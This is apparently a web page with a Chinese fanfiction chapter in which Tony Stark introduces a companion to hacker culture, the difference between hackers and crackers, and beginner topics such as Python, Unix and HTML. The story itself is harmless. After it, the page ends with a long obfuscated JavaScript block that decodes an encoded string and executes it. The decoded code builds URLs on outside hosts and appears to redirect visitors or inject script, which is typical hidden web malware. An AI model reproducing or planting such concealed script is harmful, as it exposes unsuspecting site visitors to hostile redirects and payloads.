Hacker大师(2 / 2)

习惯没有她味道的夜晚.

但是Tony还是想再争取一下:“告诉我和我一起睡觉没那么糟对吗?”

霍普洱沉默了.

等了半天没有回答,Tony伸出手指着她:“我就当你默认了”

“教我怎么成为一个Hacker,我就答应你”

Tony:“啊哈,这才是你来找我的目的对吗?你想拉我进入你的特训计划里”

霍普洱:“这是个交易”

Tony:“我同意了”说完他四处看了看,似乎是在找笔:“还需要签个协议吗?”

“成为一个Hacker需要学习一些什么技术?”

Tony听完一会觉得有些好笑:“什么是黑客?”

霍普洱:“你问我?”

Tony:“回答我Honey”

霍普洱:“攻防兼备的计算机代码编造工程师?”

Tony若有所思的点点头:“没想到的答案,不过很遗憾,回答错误”说完他对着空气道:“贾维斯,念首诗”

贾维斯:

“Tofollowthepath:(沿着这样一条道路)

looktothemaster,(寻找大师)

followthemaster,(跟随大师)

walkwiththemaster,(与大师同行)

seethroughthemaster,(洞察大师)

becomethemaster.(成为大师)”

霍普洱觉得有些有趣:“哲学诗?”

Tony拿起一杯咖啡,喝了一口:“有些冷了,是的,等你能读懂这首诗,你就是一个Master了”

霍普洱疑惑道:“所以我得沿着这条路走?”

Tony放下了杯子:“是的,每个想学徒的必经之路,包括我,恭喜你已经完成了第一步,现在你只需要跟随我”说完Tony挑了挑眉,示意自己就是她的Master.

“好的师傅(Master)”

Tony:“我先回答你的第一个问题,关于什么是Hacker”说完他自顾自的开始说起来:

“几十年前第一台分时小型电脑诞生,ARPAnet实验也刚展开,那时有一个由程序设计专家和网络名人所组成的,具有分享特点的文化社群,这种文化的成员创造了“hacker”这个名词”说完Tony朝她笑了一下:“但这个词现在快过时了”

“Hackers建立了Internet,发明出了现在使用的UNIX操作系统,并使Usenet和WWW运作起来,如果你是这个文化的一部分,对这种文化有所贡献,而且这个社群的其它成员也认识你并愿意称你为hacker,那么你就是一位Hacker”

霍普洱听着那些专业名词,觉得还是有些不理解:“所以我要会用那些系统,那是第一步对吗?”

Tony摇摇头,答非所问道:“Hacker不是一个称呼和职业,而是一种精神Honey,你得先明白这个,这种精神并不仅仅局限在软件的Hacker文化中,如果有人用黑客态度对待其它事情,例如电子学和音乐…Well,事实上,你可以在任何最高级别的科学和艺术活动中发现它,就像…”说到这里他指着霍普洱:“你在画展上和别的艺术家相互学习和交流一样”

“精于软件的Hacker赞赏这些在其他领域的同类并把他们也称作Hacker,有人宣称黑客天性是绝对独立于他们工作的特定领域的,那些人只是把Hacker当做一种技术,而不是共享态度”

霍普洱:“我以前也以为Hacker更多负责干一些制造病毒和入侵和窃取别人电脑里的机密的事”

Tony:“那是Cracker”

霍普洱:“Cracker?”

“很高兴能和你谈一些我擅长的事情,这让我觉得你无知的很可爱”说完Tony笑了笑,伸手掐了掐她脸上的奶膘.

霍普洱打掉Tony欠揍的手:“TellmeMore”

Tony:“总有群傻子大声嚷嚷着自己是Hacker,尤其是那些正值年轻的teenager,实际上他们只是一些蓄意破坏计算机和电话系统的幼稚鬼,真正的Hacker根本不屑与之为伍,他们把这些人叫做“Cracker(骇客),因为多数真正的黑客认为骇客们又懒又不负责任”

霍普洱摊摊手:“听上去确实没什么大本事”

Tony:“Honey,专门以破坏别人安全为目的的行为并不能使你成为一个Hacker,就像用铁丝偷开走汽车并不能使你成为一个汽车工程师”

霍普洱:“不错的比喻.”

Tony笑了笑:“根本的区别就是,黑客搞建设,骇客搞破坏”

霍普洱想了想:“噢,这让我想起了一个作家对人类的形容,他说这个世界上的人分为三种级别的思考者,三级思考者是最低级的,二级思考者会总结,但他们只拥有质疑、破坏和摧毁能力,而无法重塑或创造,只有一级思考者才拥有这些”

Tony对她的理解很感兴趣:“看来Hacker是一级思考者”说完Tony骄傲的松了松脖子,继续道:“一般来说,Hacker只是可以找出系统漏洞的编程高手,不过必须研究软件的代码或原理才能找出漏洞进行破解,但不管是善意的建议还是非破坏性的入侵行为,目的无非是使我们的安全体系更加完善”

霍普洱点点头:“那我该怎么开始?我是说,我需要学些什么?”

“首先是编程Honey,像C++、Java、Python之类的汇编语言,不过我建议你从Python开始,这适合初学者”

霍普洱听着这些不熟悉的名字,实在摸不到头脑:“这是门语言?”

Tony:“是的,入门语言,Java也不错,但比Python难一些,生成代码的速度也更快,是个不错的计算机语言,如果只会两门语言,你不可能达到Hacker的技术水平,甚至不能达到一个程序员的水平”

霍普洱:“原来Bob的安排是有道理的,先学语言确实很有用,不过我并不是要成为一个程序员,我只是需要学习一些基础能力“

Tony:“但你首先需要学会如何用抽象方式思考编程问题,这独立于任何语言,好吧,或许难度并不亚□□速掌握一门新的语言.”

霍普洱:“好吧,学习计算机语言,第一个任务”

Tony笑了笑觉得她有的忙了:“Honey,你选择了一门编程语言之后,就必须不能放弃地从头到尾学完,只有学会C语言和Unix你才能看懂一些编程工作”

霍普洱:“C语言?”

Tony:“是的,C语言和C++非常相似,你知道了C语言就能明白C++,知其一指其二,不过实际上越避免用C编程,工作效率越高”

霍普洱:“所以…或许不用学C语言了?”

Tony捏着下巴想了一下:“好吧也可以,不过你得得到一个开放源代码的UNIX,而且学会使用和运行它,Unix是一个以二进制形式发布的Internet操作系统,你是无法在寻常Windows或者DOS和MacOS系统上学习Hacker技术的,这会让你看起来像带着脚镣学跳舞,我是说你得有一个新系统,这一点我可以帮你”

霍普洱越听越乱:“等等,先说说Unix”

Tony:“Unix是操作系统,你不知道Unix也可以上网,但你要知道Unix才能成为Hacker,而且现在的Hacker文化也是以Unix为中心的”

霍普洱叹了一口气:“好吧,第二个任务,熟练Unix操作系统知识”

Tony:“还有网络原理,这是进行网络攻击的基础,噢还有密码学,有些软件常常使用加密技术保护自己,因此破解密码是必须的技能,你的编程语言学的越多,破解起来越容易,如果你这个小特工要窃取信息的话,这很重要”

霍普洱:“看来学会了以后别人就没有隐私了”

Tony摇摇头:“实际上并不是,你得明白这方面的法律知识,黑客行为一般被认为是违法的,所以如何在满足自己的同时必须避免法律制裁,这要求你需要知道什么能做,什么不能做”

霍普洱:“所以这就是你高中时期就黑了五角大楼的原因?”

Tony耸了耸肩:“我那个时候还是个小Cracker”

听完这些,Hacker这个词一下子在霍普洱心里变得伟大起来,因为其实当今的黑客行为和黑客组织有许多,许多Hacker也从没有和司法机关打过交道,但是却也有人因为编写病毒而坐牢,她可不想成为其中一个.

霍普洱默默让埃德温把这些记录了下来:“好吧,除了编程语言和Unix,我还需要学习什么?”

Tony敲了敲自己的那台电脑屏幕:“学习计算机的工作原理和所需配件Honey,计算机是你的武器和画笔,你得熟悉它”

霍普洱:“洗耳恭听”

Tony:“你应该知道计算机由软件和硬件组成,如果说硬件是轨道,那么软件就是跑车,硬件是构造计算机的必备,你只有了解硬件知识,才知道什么是冯诺依曼结构,而软件是控制计算的必备,不过Hacker可不是建造计算机的,而是把计算机玩出花的人,所以一般来对Hacker来说,软件比硬件更重要”

霍普洱:“我猜这只是计算机的外在知识”

Tony:“Exactly,最后一个任务,就是熟悉计算机网络基础,因为你除了学会用一门语言编程,

你还要对计算机如何工作有一个认知,任何软件和程序怎么运行,为什么能运行你都要了解”说完他指着霍普洱:“探究途中记住问题边界,不要过分拓展疑问边疆”

霍普洱:“我不是你Tony,我对这个世界没有那么强大的好奇心”

Tony:“你需要掌握Web,这并不仅仅意味着如何使用浏览器,这件事任何人都会,而是要学会如何写HTML和使用WWW,Web的标记语言,如果你不会编程,写HTML会教你一些有助于学习的思考习惯,看着,现在先完成一个主页”

说完Tony就在电脑上创造了一个HTML的文件,接着打开了一串霍普洱看不懂的代码:“这个”他指着一个“网络协议”对着霍普洱道:“这是所有软件程序中的一个集合,网络协议本质是程序,功能是让计算机之间能够安全通信”

霍普洱凑近了计算机屏幕,看着那串信息.

“Hacker的影响力主要来自互联网,没有广泛相互联系的互联网,Hacker也只能对面前的计算机进行操控,而不能远程去控制和攻击,学习计算机网络会让你明白黑客攻击当中的很多远程的方式,并且黑客的多数伟大和神秘也是互联网赋予的”

一晚上了解了这么多以后,Tony现在简直在她眼里发着光,Tony说话的时候,时不时转过来,气息打在她头发和侧脸上,有些痒痒的,霍普洱转过头来,看着Tony的眼睛:

“你真了不起”

Tony看着她距离自己很近的脸和她的夸赞,忍不住咽了下口水,她可真好看.

尤其是在真诚的夸人的时候.

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();